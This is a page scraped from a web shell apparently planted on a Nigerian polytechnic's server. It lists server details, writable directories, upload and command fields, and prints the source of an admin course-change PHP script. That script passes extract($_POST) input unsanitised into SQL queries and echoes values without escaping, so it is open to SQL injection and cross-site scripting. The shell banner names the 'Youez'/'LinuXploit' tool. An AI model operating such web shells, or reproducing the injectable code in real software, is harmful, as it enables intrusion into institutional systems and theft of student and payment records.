403Webshell
Server IP : 172.64.80.1  /  Your IP : 172.70.50.62
Web Server : Apache
System : Linux mail.federalpolyede.edu.ng 5.10.0-32-amd64 #1 SMP Debian 5.10.223-1 (2024-08-10) x86_64
User : federalpolyede.edu.ng_idh35skikv ( 10000)
PHP Version : 7.4.33
Disable Function : opcache_get_status
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/vhosts/federalpolyede.edu.ng/httpdocs/admin_main/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/vhosts/federalpolyede.edu.ng/httpdocs/admin_main/entrance_changeOfCourse_process.php
<script type="text/javascript" language="javascript" src="../js/jquery-1.7.1.js"></script>
<script type="text/javascript" language="javascript" src="../js/scriptFile2.js"></script>
<?php
require_once('headMainAdmin.php');
//echo 'kjhigdqikjd';
?>
<?php
extract($_POST);

$sql="select * from entrancetable where formNo='$formNo' or transID='$formNo'";
$result=$db->query($sql);
$num=$result->rowCount();
if ($num=='1'){
$result_fetch=$result->fetch(PDO::FETCH_ASSOC);
$names=$result_fetch['surname'].''.$result_fetch['othernames'];
$transID=$result_fetch['transID'];
$formNo=$result_fetch['formNo'];
$course_code=$result_fetch['course'];
$course_sql=$db->query("select * from dept where sn='$course_code'");
$course_fetch=$course_sql->fetch(PDO::FETCH_BOTH);
$course_name=$course_fetch['dOption'];
$mode=$result_fetch['formType'];

//$levelID=$result_fetch['levelID'];
?>
<table width="50%" cellspacing="2" cellpadding="0">
    <tr>
        <td><form id="form1" name="form1" method="post" action="entrance_changeOfCourse_process_process.php">
                <fieldset>
                    <legend>Processing Form...</legend>
                    <table width="100%" cellspacing="5" cellpadding="0">
                        <tr>
                            <td colspan="3" align="center"><strong>Form Type:-</strong><?php echo $mode;?> <strong>Department Code</strong>:- <?php echo $course_code;?></td>
                        </tr>
                        <tr>
                            <td colspan="3" align="center"><hr /><input type="hidden" name="old_mode" value="<?php echo $mode ;?>"></td>
                        </tr>
                        <tr>
                            <td width="55%"><strong>Form No</strong></td>
                            <td width="5%">&nbsp;</td>
                            <td width="40%"><?php echo $formNo;?>
                                <input type="hidden" name="formNo" id="formNo" value="<?php echo $formNo;?>" /></td>
                        </tr>
                        <tr>
                            <td><strong>Trans ID</strong></td>
                            <td>&nbsp;</td>
                            <td><?php echo $transID;?>
                                <input type="hidden" name="transID" id="transID" value="<?php echo $transID;?>" /></td>
                        </tr>
                        <tr>
                            <td><strong>Name</strong></td>
                            <td>&nbsp;</td>
                            <td><?php echo $names;?>
                                <input type="hidden" name="names" id="names" value="<?php echo $names;?>" /></td>
                        </tr>
                        <tr>
                            <td><strong>Previous Course</strong></td>
                            <td>&nbsp;</td>
                            <td><?php echo $course_name;?>
                                <input type="hidden" name="course" id="course" value="<?php echo $course_name;?>" /></td>
                        </tr>
                        <tr>
                            <td><strong>Amount Paid</strong></td>
                            <td>&nbsp;</td>
                            <td><?php $q=$db->query("select sum(amtPaid) as amtPaid from remitaorderform where transApproved='True' and (regNo='$formNo' or regNo='$transID')");
                                $amt_fetch=$q->fetch(PDO::FETCH_ASSOC); echo $amt=$amt_fetch['amtPaid'];?>
                                <input type="hidden" name="amt" id="amt" value=""<?php echo $amt;?>"" /></td>
                        </tr>
                        <tr>
                            <td><strong>New School</strong></td>
                            <td>&nbsp;</td>
                            <td><label for="select"></label>
                                <select name="txtschools" class="form-control" id="school">
                                    <?php

                                    $query="SELECT distinct dSchool FROM dept";
                                    $rs=$db->query($query);
                                    echo '<option>'.'Select Option...'.'</option>';
                                    while ($row=$rs->fetch(PDO::FETCH_BOTH)){
                                        //$row=mysql_fetch_row($rs);

                                        echo '<option>'.$row[0].'</option>';
                                    }
                                    ?>
                                </select></td>
                        </tr>
                        <tr>
                            <td><strong>New Department</strong></td>
                            <td>&nbsp;</td>
                            <td id="dept"><select name="new_dept" class="form-control" id="dept">
                                    <option>Select Option...</option>
                                </select></td>
                        </tr>
                        <tr>
                            <td><strong>Mode</strong></td>
                            <td>&nbsp;</td>
                            <td><select name="mode" class="form-control" id="mode">
                                    <option value="2" selected>ND (DPT)</option>
                                    <option value="4">ND (RPT)</option>
                                    <option value="1">ND (FT)</option>

                                    <option value="3">HFT (FT)</option>
                                    <option value="6">HFT (DPT)</option>
                                    <option value="5">Basic</option>
                                </select></td>
                        </tr>
                        <tr>
                            <td>&nbsp;</td>
                            <td>&nbsp;</td>
                            <td><input type="submit" name="button" id="button" value="Change Course" onclick="<script> alert('Are you sure');</script> "/></td>
                        </tr>

                    </table>
                    <?php
                    }else{
                        echo "Record Not Found or Not pay Acceptance Fees Yet";
                    }
                    ?>
                </fieldset>
            </form></td>
    </tr>
    <tr>
        <td>&nbsp;</td>
    </tr>
</table>
<!-- InstanceEndEditable --></td>
</tr>
</table></td>
</tr>
<tr>
    <td>&nbsp;</td>
</tr>
</table></td>
</tr>
</table>
<p>&nbsp;</p>
<script type="text/javascript">
    var MenuBar1 = new Spry.Widget.MenuBar("MenuBar1", {imgDown:"../SpryAssets/SpryMenuBarDownHover.gif", imgRight:"../SpryAssets/SpryMenuBarRightHover.gif"});
</script>
</body>
<!-- InstanceEnd --></html>

Youez - 2016 - github.com/yon3zu
LinuXploit